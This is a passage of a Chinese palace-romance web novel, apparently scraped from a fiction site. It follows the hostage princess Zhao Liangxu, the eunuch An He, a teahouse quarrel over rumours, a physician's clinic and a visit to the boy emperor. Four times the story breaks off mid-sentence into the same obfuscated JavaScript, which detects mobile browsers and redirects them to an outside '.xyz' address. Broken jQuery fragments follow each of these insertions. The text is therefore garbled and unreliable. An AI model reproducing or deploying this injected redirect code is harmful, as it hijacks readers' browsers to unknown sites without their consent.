他或许跟昙花一样,不曾有多久时间,只是唯一不同的是,他的永恒会是史书上的永被人唾弃的奸宦,他也没有所谓的美丽可言。
所以他种了昙花,但又不常看昙花。
他轻嗤一声反问道:“你喜欢这种故事?”
赵凉絮闻言,摇摇头。
这倒是叫安和有些惊讶。
赵凉絮动了动姿势,她腿有些麻,漫不经心问道:“小时候觉得这样的爱情故事真是让人深刻,可长大后却不太爱看,您说这是怎么回事呢?”
赵凉絮灼灼目光看着安和,安和感觉心口发紧。
跟一个太监问爱情?
今晚如果不是她疯了就是自己疯了。
安和手不自觉攥紧,忍着情绪,话语间带着冷气:“你是故意嘲笑我?”
在挑衅他吗?
赵凉絮听到这话下意识后仰,她这才想到自己刚刚说的,对一个太监讲爱情故事,是有点故意嫌疑了。
她只是随便找点话题说,一心盯着昙花细微的变化,也是因为看到昙花才偶然想起这个故事。
这下倒成她故意挑刺了。
赵凉絮将眼睛转到一边,抬头摸着昙花的叶子若无其事说:“唉,今天月亮好圆啊。”
但赵凉絮抬头才发现天上挂着的是一只细细的月牙。
“......”
赵凉絮这副样子更是显得刻意,仿佛她已经默认了。
安和心中仿佛扎了根刺,她这样的样子真是刺痛了他,究竟是什么给她的胆子?
安和被赵凉絮一番言语行为勾起了情绪,可藏在情绪下的是他的窘迫和痛苦,是大家都心知肚明的事儿、他借着权力和地位刻意掩饰起来那个差异就这样不经意间,被对话抖了出来。
他知道这几句话里没有任何明着说的东西。
可他偏偏觉得刺的慌。
赵凉絮用余光看着安和的表情越来越扭曲,只觉得今天真是出师不利。
还没和人家稍微打好点关系,又要把人家得罪了。
她想,千万不能放任他将情绪酿足了。
于是她注意到安和有起身的动作,便想一把抓住他的袖子。
但她因坐的腿有些麻了,刚刚的动作并未缓解多少,现在她这样往安和方向探,一时之间没控制好平衡。
她的探身变成了朝着安和那边扑去。
至于安和起身之间忽然被拽着袖子,对方还一把将自己砸了过来,更是掌握不好平衡。
“砰”一声,赵凉絮扑在了安和身上,安和摔躺在地上。
“赵凉絮!”
安和眼睛瞪大了,一时间不知所措,只能气急败坏地叫赵凉絮。
赵凉絮也很无辜,她并非有意。
安和推着她让她起来,赵凉絮有些着急撑着身子起来,一下撑到了安和肚子上。
安和身体反射性蜷缩一下。
“赵凉絮,你给我下去!”
安和恼羞成怒。
他推开赵凉絮,仿佛赵凉絮是什么洪水猛兽般。
“......安公公,我不是有意的。”
赵凉絮可疑地沉默了一下,说出一句苍白的解释。
他会信吗?
不会吧。
他的肚子有点软。
两个人赶忙都站了起来,赵凉絮摇摇头试图把脑子里的怪念头甩出去。
赵凉絮摔得身上一堆尘土,安和更是当了坐垫,后背的衣服没法要
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042316|178833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了。
安和连话都不想说了,也不管什么被冒犯到了,只想赶紧离开这个是非之地。
赵凉絮小跳两下缓解麻掉的腿脚,不死心地抓住安和的手想再解释两句。
“我刚刚脚麻了,并非有意,安公公!”
安和的手也挺软的。
赵凉絮一边表情严肃地解释,一边试图控制脑子里冒出来的怪念头。
看来再阴阳怪气的人手也是软软的啊。
不不不,自己脑子里都在想什么?
赵凉絮义正辞严:“安公公,你后背脏了。”
安和想甩开赵凉絮的手,一时竟然甩不开。
赵凉絮悄摸从抓手变成了攥住袖子,但是依旧不让他离开。
“放开!成何体统?”
“可你这样走回去不太好吧?”
赵凉絮觉得自己很周到。
看着他天天帕子用来用去,恐怕是个很洁癖的人,就这样走了事后肯定更记恨自己。
“这离书房没多远,用不着你担心!”
安和想将袖子从赵凉絮手里拉出来,无果。
赵凉絮还记得要帮刚刚的自己解释:“我真不是嘲笑你安公公,天地可鉴,我只是随口说了个故事而已。”
她轻蹙眉,摆出一幅感情真切的样子。
“你瞧,我刚刚摸到你的手并没嫌弃你。”
安和觉得头脑发昏,他只听到前边“摸到你的手”,后边说了什么一概管不了了。
为了摆脱赵凉絮,他只能说:“行了!我当你不是有意的行了吧!”
怎么能是当,她就不是有意的。
可看着安和一副浑身气的发抖的样子,她还是选择闭上了嘴。
她撒开安和的袖子:“可以,可以。”
安和甩甩被攥皱了的袖子,也忘记再放什么狠话,转身就想离去。
赵凉絮不放心,又叫住他。
安和都不知道自己为什么要听了她的话就顿住脚步,可能他已经气的不知所以了。
“那安公公回去莫生我的气?”
赵凉絮试探地问了一句。
安和见她说这话时眉毛挑起,收着下巴歪头等待。
安和已经不知道这是今晚第几次气的想笑了。
他剜了赵凉絮一眼,深呼吸回道:“滚。”
赵凉絮捡起灯笼,三步并作两步毫不留情地溜了。
安和吐了口气,快速回去将身上脏了的衣服换了下来。
将一切收拾好后他也差不多冷静下来了,但一回想起赵凉絮今天的所作所为,他就恨得牙痒痒。
可一想到赵凉絮一边抓着他的手一边强词夺理时,他确实没看出来赵凉絮有嫌弃的意味。
他攥着茶杯的手不自觉收紧。
是真不嫌弃他还是刻意装出来的?
她那么聪明的人,怎么会不知道自己的价值被利用完后,绝对会被清除掉。
可装也装的忒像了点。
安和脑子里止不住回想赵凉絮的表情,想找出一丝嫌弃的蛛丝马迹。
没有。
真的没有。
反而这样一回想,那张带着些试探和好奇的脸在脑子里越刻越深了。
安和扶住额头。
他真是疯了。
竟然觉得赵凉絮这副样子很好看。
“......”
他真是疯了。
19. 流言?
赵凉絮回去后竹木还吃惊地问她怎么回事,赵凉絮拿不小心摔了一跤搪塞过去了。
要是她说了实情,竹木一定又会挂上担忧的表情。
只是可惜她还没看够昙花。
第二天赵凉絮被告知可以自由出府了。
安和上朝前特意将她吵起来然后告诉了她这个消息,还留下一句意味深长的话。
“好好在京城逛逛,也该见见世面。”
说完这句话就顶着赵凉絮仇视的目光走了。
她睡得正香的时候,还没入睡多久就被安和吵醒。
虽然看着安和的神情没任何不对劲,但是赵凉絮笃定。
他绝对是故意的。
就是为了报昨天的仇。
至于那句意味深长的话,更不用说。
不过是暗示她在京城溜达溜达,钓些该钓的人出来。
比如原身的兄长,北周灭亡后在逃的北周皇长子赵承新。
如果赵承新知道她那远在南周当质子当了六年的妹妹,不仅没死,还在京城里大摇大摆的晃悠,成了自由出入皇宫的红人儿,他必定按捺不住。
毕竟赵承新是皇长子,是北周下一任皇帝的正统继承人。
曾经他那般显赫尊贵,如今却只能躲藏过日子。
他怎么能不想着复国呢?
他那自由出入皇宫的妹妹,能带给他多少便利?
显而易见。
赵凉絮本想着睡个回笼觉,可一想到若是又一觉睡到下午,那她恐怕晚上又睡不着忍不住出去溜达。
她可不想再来一回昨晚那一遭了。
她选择又简单睡了会儿,睡了不到两个时辰便爬起来收拾洗漱一番。
她也想见见这京城到底是个什么模样。
赵凉絮招呼着竹木带上点儿钱,两人就这样出了安府。
她走到安府门口时,倒是遇见了一个熟人。
第一晚在安府时送她到安和房间的侍卫罗凡。
他作一副小厮打扮守在安府门口,这倒是稀奇了。
他应当是侍卫,如今怎么成了看门的小厮?
赵凉絮也就是心里想想,倒没寻思走到人家跟前问。
只是罗凡一见到赵凉絮,便主动向她打了个招呼。
“赵公主好。”
既然人家朝她主动说话了,赵凉絮也不能当作没看见,她礼貌对他点了点头,当作回应。
思索片刻又问道:“你这是?”
罗凡苦笑一声:“是因为属下被他人蒙蔽,千岁叫我领了板子,罚我做一个月看门小厮。”
这安和还真是出奇的怪。
她从未听说过这样罚人的。
可一想到他素日里阴阳怪气的模样,只觉得这倒像是他心理扭曲使出来的招。
若说到心理扭曲,赵凉絮甚至觉得他罚的轻了,竟然还会叫人活着。
赵凉絮琢磨了一番,想来安和也不全是那种动不动杀人的货色。
只是罚的重。
赵凉絮撇到罗凡扯到伤口呲牙咧嘴的样子,想法又变了一圈。
只是罚的格外的重。
她没再和罗凡说些什么,带着竹木朝热闹的人堆走去。
安府所在的那条街格外冷清,显得不像是人满为患的京城。
只是出了这条街,眼前便一改冷清,人逐渐多了起来。
赵凉絮同竹木随意逛,看到什么新鲜有趣的便上前打量一番,只是看了这么多,倒没有买多少东西。
她觉得这些东西不过看个趣,买回去她就不知道放哪了。
街上越到中午越发人多,某些街区甚至人头攒动,好不热闹。
赵凉絮注意到街上有男有女,这时候却没什么女子应当深居闺中的说法。
大多数平民女子和男子并没有什么不同的,大家都在京城底下讨生活。
只是像她这样衣着贵重些的女子很少见。
或者说就这样拉着婢女在外溜达的少见。
京城中也有不少出游的贵族女子,但大多乘着马车,马车将其载到约定好的茶楼,她们很少像赵凉絮这样大摇大摆地走在街上。
两人虽说不是个例,但也算是特殊的。
常惹来身边人侧目,其间还夹杂着一些让人不适的目光。
赵凉絮小声对竹木说:“失策了,我们该从安府顺辆马车出来。”
不光是这些目光,她的脚也走得有点酸。
竹木也窘迫,她不常跟在原本的赵凉絮身边,换言之也不太了解这些,她曾经倒是穿着一身婢女服饰出来采买做活,也不算显眼。
两人就近找了家茶楼,在二楼歇歇脚。
茶楼必不可少的便是说书,正巧说书人聊到了安和,赵凉絮竖起耳朵听。
“话说那当朝九千岁,当真是权势赫赫无法无天,只因得陛下喜爱,他便在朝堂之上呵斥尚书反驳将军,真是叫他做足了威风。”
京城中原来可以这样编排安和吗?
想来也是,他再手眼通天也管不住茶楼这些爱听八卦爱传八卦的人。
“说到九千岁,我们就不得不提到那位自北周逃来的公主,听闻那赵公主当年嚣张跋扈,对待宫人无不苛刻,九千岁因此得了那赵公主,那真是猫见了耗子,耗子见了米缸,将那赵公主关在府中一顿磋磨。”
说书人顿了顿,留给在座各位畅谈遐想片刻,又接着说道:“不成想千岁竟也会同一女子纠葛不分,你我不知其中具体如何,想来或许也能在我南周印证一句话‘英雄难过美人关’,只是这主角不是英雄反而是宦官了。”
看得出这说书人能精准抓住人们想听什么,直接对着他们不知道事情展开最大胆的想象。
引得众人听的聚精会神。
竹木愤愤道:“这分明没有的事。”
没有的事一传,也能叫人说成货真价实的了。
旁边一桌就着说书人所讲的开始发挥。
“陈兄,你说这安和还真是祸乱朝纲,也不知那什么赵公主是怎么没皮拉脸的活下来的。”
身着蓝袍的男子一身华贵,挤眉弄眼地对身边的陈青烈说。
“你说那赵公主当日已被传遍流言,周大将军也变相承认,那赵公主身为女子被他人夺了贞洁,如今竟然还在太监府里苟活,也不知道她使了什
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042317|178833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么手段让那阉竖还没杀了她。”
他越说越来劲:“我看那北周覆灭的好,北周女子再怎么在我朝学着也学不来我朝女子的温婉可人、守节坚贞,已有这般经历,她就该羞愤自戕以示贞烈才对,据说北周的女子个个身高马大,甚至北周皇室都礼法颠倒,公主竟然也能争夺继承权,真是天大的笑话。”
张长飞说的眉飞色舞,一旁的陈青烈皱着眉,听了许久说道:“你我不知内里真相,还是不要妄加揣测的好。”
张长飞不满:“这就是你的呆板了,你不也一向认同取个贤妻的说法,赵凉絮昔日跋扈许久,你替她说什么话?说她几句也是她活该如此。”
竹木听得气的不行,她对赵凉絮说:“这都是子虚乌有的事,公主,他们这样编排你简直不要脸!”
赵凉絮也听的火大,她刚想有所动作,有个熟悉的女声先抢了说:“张公子嘴下留德,整日口无遮拦乱传谣言,恐怕京城中的风气都是被你搞坏的,张公子也学圣贤书,我却从不知在圣贤书里教的都是些叫人不学无术、信口开河、诽谤他人的道理。”
赵凉絮望去,自楼梯那走上来一个容貌并不出众的身影,但周身从容的气质不用忽视。
正是当时在宫中替她看过病的邱澄女官。
显然邱澄认识说她坏话的张长飞。
她语气不显,但字字辛辣:“张公子出身书香世家,也不知张侍郎怎么养出了一个这样纨绔子弟,国子监怎么什么人都收。”
“你!”
张长飞被讽刺得红了脸,一时不知如何反驳。
邱澄走上二楼,语气不客气的说道:“你什么你,国子监的学生连说话都说不利索,我同祭酒大人有些交情,就该让国子监好好管教一下你们这些真正不知是非的蠢学生。”
一旁的陈青烈觉着自己也被骂了进去,只能作揖道歉:“我代长飞向您道歉,长飞语气直快了些,说了些未思量过的话确实不该,还请大人原谅。”
他不知眼前女子是谁,但听闻她与国子祭酒颇有些交情,就知道并非什么小人物。
赵凉絮趁这时走了过去,轻拍手替邱澄鼓掌:“如此直白爽利、一针见血,我很是感激。邱女官,很高兴又能见到你。”
陈青烈闻言朝声音来源看去,这一看便惊艳滞住。
赵凉絮上身青蓝色袄子,下身也配的是柔白色马面长裙,唯有腰间深蓝色系带和裙边的深色镶边,她头上没带什么首饰,一身素净淡雅。
至于为什么穿浅色,当然是她常穿的那身昨晚刚扑腾了一身尘土。
她不得不穿这身。
陈青烈觉得自己从未见过这么清雅的女子,虽然赵凉絮并未看向她,但单是望着她含笑的侧脸,陈青烈便觉得自己被深深摄住。
赵凉絮注意到陈青烈有些直白的目光,朝他望去,嘴角笑容已压了下去,那股笑意已悄然溶解在澄澈冷淡的眼神中。
同张长飞一起的人,虽不甚了解,她也产生不了什么好感。
陈青烈被赵凉絮看了一眼就急忙低下头去,可那双浅眸已深深印在他脑海里。
赵凉絮不去管他,转头和邱澄叙旧。
20. 跋扈
邱澄听到赵凉絮声音的时候才发觉她竟也在此地,方才赵凉絮隐在角落里,她刚上楼并未注意。
也就是说,赵凉絮在此地听的那些坏话比她还全。
“真是巧了,我竟然没注意到你,已有些日子不见,身体可好些了?”
邱澄看了下赵凉絮面色,仿若没什么长进。
“看你面色不佳,没有按时吃药吗?”
邱澄眉头皱起。
赵凉絮笑了:“药是按时吃按时敷的,只是这几天实在是经历了许多事,没有机会好好休息,故而面色有些憔悴,不如我斗胆再请女官为我诊一诊?”
“你不说我也是会替你看的,大夫医人没有半途而废的道理。”
两人叙起旧来旁若无人,聊的很是轻松。
赵凉絮发觉另两人还没走,便坦白了直言:“二人方才谈论起北周赵公主好生起兴,但你们不知道在别人背后嚼舌根有可能是会被本人听到的吗?”
被本人听到?
陈青烈望着眼前令人着迷的女子,一时没缓过神来。
什么叫......本人?
他猛地回神,睁大了眼睛,满脸不可思议。
她是......
赵凉絮?
她就是被送进太监府的赵凉絮?
陈青烈觉得很难接受。
一旁的张长飞更是结结巴巴地问:“你你你,你是那个北周的公主?!”
他虽然喜好玩乐,在京中也算是一纨绔,但几年前他被祖父管的严,也很难融进皇室的圈子,自然不知道赵凉絮长什么样。
陈青烈更是布衣出身,没什么机会见大人物。
赵凉絮抱胸,语气冷淡地说道:“是,我就是赵凉絮,你们刚刚嘴里聊的很欢的那个赵凉絮。”
“怎么,见到本人了,还结巴上了?”
她倚靠着二楼的栏杆,手指有规律地敲着环抱起的胳膊:“我应当羞愤自戕以示贞烈?我是天大的笑话?”
赵凉絮讥嘲道:“那岂不是狎妓纳妾的男子全该吊死了算?他们可是早早失了贞洁。”
邱澄噗嗤一声笑了出来。
张长飞一脸不可思议地指着赵凉絮:“不知廉耻!”
陈青烈听到这话也蹙眉。
说的也太过绝对。
“不知廉耻、信口雌黄该是你,在别人背后嚼舌根小心我把你舌头拔了。”
“你敢!”
赵凉絮恐吓一声:“连安公公都没动我,你说我敢不敢拔你舌头?”
赵凉絮一副摩拳擦掌的样子,像是真能干的出来。
张长飞想起赵凉絮恶名,顿时有些畏缩。
万一......来真的呢。
现在他有些下不来台。
陈青烈见机拉着张长飞就走,匆匆留下一句“抱歉”便离开了。
赵凉絮朝邱澄耸耸肩:“骗骗他们罢了,就这样吓跑了。”
竹木在一旁附和:“真是出了口恶气!”
邱澄也笑了,方才动静有些大,他们这边吸引了几桌旁的客人侧目。
“不若到我的医馆去坐坐?”邱澄建议道。
赵凉絮自然是求之不得。
邱澄的医馆不大,“芝兰堂”三个大字的古韵牌匾挂着,颇有些悬壶济世的感觉。
看得出这医馆算是门庭若市,前来求医买药的人不少。
邱澄一边解释一边领他们走进去:“虽说是我的医馆,但到底我是宫中女官,实际上这医馆由我徒弟经营,她经营的倒也不赖。”
赵凉絮这才想起来对竹木介绍:“这位其实就是在宫中替我治疗的女官,医术上佳。”
邱澄摆摆手:“你是病人我是医,这没什么值得可说的。”
话语间一个年龄同赵凉絮差不多大的女子走了过来:“师父,这两位是?”
“我的病人和客人。”
小柳儿了悟地点了点头,笑着将她们迎了进去。
邱澄替赵凉絮重新把脉:“你确实好了一些,可内里亏空仅靠这一点可补不回来,你这样的身体再少睡,我可就要说你了。”
邱澄诊病起来毫不客气,语气强硬。
小柳儿拿了几包药粉和药膏过来,随之坐到了桌旁。
“师父这般说你,我便知道了,你是赵公主吧?”小柳儿抿着嘴笑。
赵凉絮望向邱澄。
小柳儿解释道:“是你的病症独一份,师父对于不同的病症常常会向我讲解,我自然知道你了。”
邱澄将药粉和药膏递给赵凉絮:“这是我替你诊病后重新想的药方,这药方中有一味药是少见的,旁的药堂少见,我便直接给你,不要钱的。”
“这?”
她见赵凉絮想要推脱,先抢过话:“你不要拒绝,只是我觉得这新药方更好用些,你用着若是真的觉得好,对我便是最大的报酬了。”
赵凉絮推脱不过,便收下了。
她调笑一句:“邱女官这样,这医馆恐怕挣不了钱。”
“赵公主说的可不对了,师父宫中为官,已有足够的俸禄,这医馆开着也是为了造福普通人,如此操作于医馆来说也是寻常事的。”小柳儿纠正。
“小柳儿说的对。”邱澄点点头。
赵凉絮闻言也不再多说,但她被小柳儿的名字吸引了注意。
小柳儿聪敏机智,一下子就看出赵凉絮想问什么:“赵公主可是好奇我的名字?”
“这没什么不能说的,我母亲是醉花坊的头牌,生下我后不久便去了,这名字是我母亲的姓来的,后来成了我的花名,而后我体弱险些死了,正是师父救了我。”
“我也不知道母亲真名是何,权当这名字是个念想。”
小柳儿两三句话便说完了,但此中复杂,赵凉絮可想而知。
她瞧着小柳儿性格也带些直爽,一下子便喜欢上了她。
她觉着邱澄真是与众不同的人物,小柳儿同她一样,他们师徒有种不同于世人的通透。
赵凉絮同邱澄又聊了许久,直至太阳快要落下,赵凉絮才和竹木打道回府。
这一天属实累到赵凉絮,回去不多时,赵凉絮沾了枕头便睡了。
安和这边则收到赵凉絮一天的行程安排。
他当然不可能让赵凉絮这样毫无拘束地出游,他早就安排了些人记录赵凉絮的踪迹。
当听到赵凉絮今日一脸凶相地说“拔舌头”时,安和一下子想到当时的场景。
这副模样还真的凶恶。
安和暗暗腹诽。
又听到赵凉絮借着他的名字吓唬对方,颇有些作威作福的意味,他一时忍不住笑了一声。
惹得探子一颤。
他这才意识到自己刚刚竟因此笑了出来,登时将嘴角向下撇了撇,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042318|178833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
又露出一副不苟言笑的样子。
探子只当安和的笑为冷笑。
此后一连四天,赵凉絮和竹木都如此在外晃悠,也算一段轻松日子。
如果不是安和又找上门来的话。
“你随咱家进宫一趟。”
自由的日子才过到第五天,赵凉絮便被安和叫住,勒令她再次进宫。
“为何?是太妃娘娘想我了吗?”赵凉絮有些好奇。
安和揉着额头,没好气地说道:“还不是因为你。”
我?
我做了什么事?
“陛下这几天一直喊着让你进宫,你还真是本事大。”
本不该这么快让赵凉絮再进宫,可李瑛实在闹得厉害他也没什么法子。
“你进了宫老实点,莫要哄骗陛下。”
安和蹙着眉嘱咐。
他很是担心,以如今赵凉絮在李瑛心目中的位置,若是赵凉絮真要求什么,李瑛可能真就被哄着做了。
真是难办。
赵凉絮回以一个“你放心”的表情。
赵凉絮被安和带着,一回生二回熟,又走进了之前那个发生过刺杀的乾清宫。
赵凉絮还未进殿便听见李瑛在殿内大喊:“怎么赵凉絮还没来!安公公呢?安公公在哪?”
宫人们效率颇高,如今乾清宫已全然看不出之前那副乱糟糟的模样。
待赵凉絮走进去,李瑛见了赵凉絮便两眼放光。
“赵凉絮!你终于来了!朕不是给了你牙牌,出入皇宫如此方便,你怎么一次不来?”
他今日未穿过于隆重的龙袍,只穿了件暗金纹路的常服。
“朕给你的奖赏你可看见了?”
他走到赵凉絮面前,赵凉絮知道李瑛遭了刺杀之后颇为信任她,但她也没想到李瑛会依赖到如此地步。
于是她假装忘记了行礼,只是嘴上回复:“我见到了,奖赏很多,这几日我有些忙,便没进宫,陛下莫要怪我。”
安和发觉了赵凉絮的小动作,剜了她一眼。
赵凉絮全当没看见。
李瑛见到赵凉絮终于放下心来,他也不管是否行礼这些小事,心情好了许多:“无事无事,你若是忙也该叫安公公告知朕一声,朕实在是心里慌。”
似乎见了李瑛,也并没什么要说要做的,赵凉絮眼神求助于安和。
安和靠近李瑛提议道:“陛下这几天心神不宁,如今终于见了人,不若让赵凉絮陪您去御花园走走?”
李瑛神色一缓:“也好啊。”
于是赵凉絮同安和并排着,跟在李瑛身后。
再身后便是一些宫女太监跟着等待侍奉。
这样浩浩荡荡一群人便进了御花园。
这个时节的确没太多品种的花儿开着,因此御花园里显得有点冷清。
倒是许多合时节的树,诸如银杏,绿叶已换金。
李瑛年纪尚小,便玩起了捡叶子的游戏。
赵凉絮捡了几片看着颜色不错的银杏叶便站在了一边,她望着御花园里最大的一颗树,很是有想法。
这树看着年岁不少,相比起太妃宫外的那棵树更为粗壮,连长在顶端的枝杈也大多显得有力。
她想,这个时节也没什么虫子,正是攀树玩乐的好时候。
爬树这事她曾经可从未干过,也正因为如此,她觉得有必要尝试一次。
21. 美色
安和敏锐地察觉到了赵凉絮的想法。
他移到赵凉絮旁边,对着赵凉絮耳语:“你别搞什么幺蛾子,你这眼神莫不是想攀树?”
他瞧了一眼在一旁捡叶子捡的欢快的李瑛,低声警告:“你想不通吗?这么危险的事,若是你在陛下面前这样干,岂不是引起了他的兴趣?到时候他有个三长两短,你那些情义再可贵也没什么用处了。”
他“啧”了一声,微哑的声线像羽毛,落在赵凉絮心上。
他们两个离得太近,甚至于赵凉絮能感受到安和的气息。
“你若是真想做这些有的没的,这几天我都不曾在安府拦过你,安府有棵矮脖子树正合你意,回去后任凭你怎么折腾我都懒得管你。”
赵凉絮思考了一下,觉得这个提议不错。
“也好也好。”
她摆出一副勉强接受的模样。
这是什么样子?难不成还委屈了她?
安和真觉得赵凉絮这人心里仿若没一点担忧的想法。
安府像是住成了她的家!
安和内心颇有些生气,决意要威慑一下这个胆大妄为的赵凉絮。
“待会陛下玩腻了,你便随我去诏狱一趟。”
诏狱,关押审问犯人的地方。
赵凉絮猛地偏头看向他,脸上还来不及挂上震惊,就因为自己动作太突然,她的样子便撞进了安和的还没来得及撤后的眼眸里。
太近了些。
安和方才担心李瑛听到,便刻意挨着些赵凉絮说话。
如今导致赵凉絮和安和猛然对视上,近的连对方脸上的绒毛都清晰可见。
他的皮肤细腻白皙,像女子的皮肤,是太监的皮肤。
原来他的眼珠,是偏深的褐色,深得有些叫人沉溺进去。
赵凉絮的瞳孔微颤,呼出的气撒在安和的下巴处,痒痒的。
安和呼吸一下子屏住。
他怔了几秒,才略有些慌张地退了一步。
赵凉絮也反应过来,身子朝后仰。
她往日对安和的免疫在此刻都做了废。
往日里是安和的毒舌,今日却是安和的......
美色。
美色?
疯了疯了。
这两个字冒在脑海里,便挥之不去。
赵凉絮此时也有些心神不定了。
美色二字,是否有些不太妥当?
她将身子转过去,不再面着安和。
幸而其他的宫人都卖力陪着李瑛,一时之间无人注意到安和与赵凉絮之间的接触。
赵凉絮有些费解。
她又悄悄回头看了安和一眼。
他的脸,若不涂脂抹粉,的确是有几分姿色。
若是涂脂抹粉,也另有几分韵味。
宫里伺候的人,合该挑的是面容姣好的人。
呸呸呸。
赵凉絮觉得自己的脑子越发不像自己的了。
都怪美色误人。
赵凉絮自动忽视了那一丝异样,硬是将今天的奇怪归结为安和的错。
他的确长的不错,一时之间被迷了心智也是她防备不当。
今天这事便先搁置......
个鬼啊!
赵凉絮觉得自己自穿越过来后,内心从未这么活跃过。
她现在绝对不正常。
难不成.....
是喜欢上安和了?
喜欢这二字在脑海里一浮现,便落到舌尖转了一圈,而后被赵凉絮轻轻吐了出来。
“喜欢......?”
她的声音低若蚊呐,只有她自己听见。
她静静思索着,连李瑛连叫了她两声她都没反应。
“赵凉絮?”
李瑛见赵凉絮不理自己,便摇了两下她的胳膊。
赵凉絮这才回过神来。
她将心里的思绪暗暗压下,发觉一旁的安和面上正常,只是不再离她那样近。
“朕玩腻了,我们回去吧?”
赵凉絮点了点头,这场时间不长的散心便以回到乾清宫结束。
也不知是否是受了刚刚的影响,安和说他有些事,要短暂离开一会。
李瑛则硬要赵凉絮留下多陪他说会话。
李瑛便讲起了他在朝堂之上听到的大臣间的争吵。
“太常寺卿曾川柏,同礼部侍郎张渊在朝堂上吵了起来,。”
“曾川柏说是礼部侍郎身居礼部要职却不能以身作则,张渊只气的大喊血口喷人,他俩吵着吵着提及国子监的管理与考核存在缺漏,曾川柏斥责张渊以权谋私,张渊反哧太常寺卿吃饱撑了管的太宽。”
“一旁的给事中闻此添油加醋,把国子祭酒拉了进来,直言国子祭酒管理不周。”
赵凉絮越听越觉得不对。
李瑛一边说着,仿佛又想起当时的场景,乐个不行:“他们吵来吵去,牵一发动全身,一个带一个全加进了争吵,一个个为自己考量的倒是很周全,在下边吵得都很陶醉。”
“要我说,追根溯源不过是礼部侍郎教子无方,他的孙子在京城中口无遮拦惹到了什么人,张渊虽遮遮掩掩,但以曾川柏严苛较真的劲,多半是他的外孙女提了一嘴,他便觉得此事极为严重而在朝中发难了。”
李瑛虽是在朝赵凉絮讲朝中笑话,但赵凉絮有些流汗。
这听着很耳熟啊。
又有侍郎又有国子监的。
怕不是那户部侍郎就是当日张长飞的祖父吧。
至于李瑛说的外孙女,八九不离十就是邱澄了。
那当事人中的当事人,她也算上一个了。
只不过在此之前,赵凉絮注意到了另一件事。
李瑛虽拿这事当笑话讲,却掩不住他言语中透露出来的信息。
李瑛在上朝时并非昏昏欲睡什么都不管,相反,他听的很明白,记得很明白,分析的也很明白。
赵凉絮刻意地朝李瑛抛了个引子:“那陛下可知,礼部侍郎的孙子,究竟说了什么才惹了人?”
李瑛果然来了兴趣。
“是什么?”
赵凉絮笑了笑,伸出手指了指自己:“是我啊。”
“礼部侍郎的孙子在茶楼里大谈特谈我的流言,才叫邱澄生了气。”
李瑛一时之间有些傻眼。
“还有另一件事,陛下。”
李瑛作出洗耳恭听的样子。
赵凉絮又转了个音调,问道:“我见陛下思路清明、口齿清晰,朝中局势观察的颇为仔细,陛下何故要藏拙呢?”
李瑛显然没想
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042319|178833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到赵凉絮说到这个,欻一下站起身。
“你说什么呢,什么叫藏拙,我只是听个趣而已。”
接着不等赵凉絮继续说什么,他语气颇有些霸气地转移话题:
“既然说你谣言,必然是你身份地位不够高,那不若我将你封为异姓公主,这样你便在京中有了个名正言顺的好身份,这样他们就不敢乱嚼舌根了。”
安和刚进大殿便听见李瑛昏君气度的一番豪言壮语。
他眉心抽动,疾步走到李瑛身边:“陛下,这怎么行!”
“为何不行?”
安和好说歹说威逼利诱着将李瑛这番想法压下去了。
赵凉絮在这时候冷不丁的来了一句:“陛下刚刚想法是有些不切实际,但不知陛下可否帮凉絮一个小忙?”
“你说。”
安和不知赵凉絮又要说些什么,今天他被御花园的事搞得有些头昏,一时猜不透赵凉絮要说什么。
“陛下赏赐的十五箱宝物中,一部分让安公公先替我放了起来,可安公公这几日忙得很,未曾将小库房的钥匙给我,可否请陛下替我要一要。”
安和算是明白了,赵凉絮还惦记着那些东西呢。
他真是险些被气笑了。
李瑛有些迟疑,他看了看安和并未说话。
他如今很信任赵凉絮,是因为经过刺杀后他觉得赵凉絮不会害他。
可安和......
想到赵凉絮方才的话,他心慌的很,还是咬咬牙想要开口。
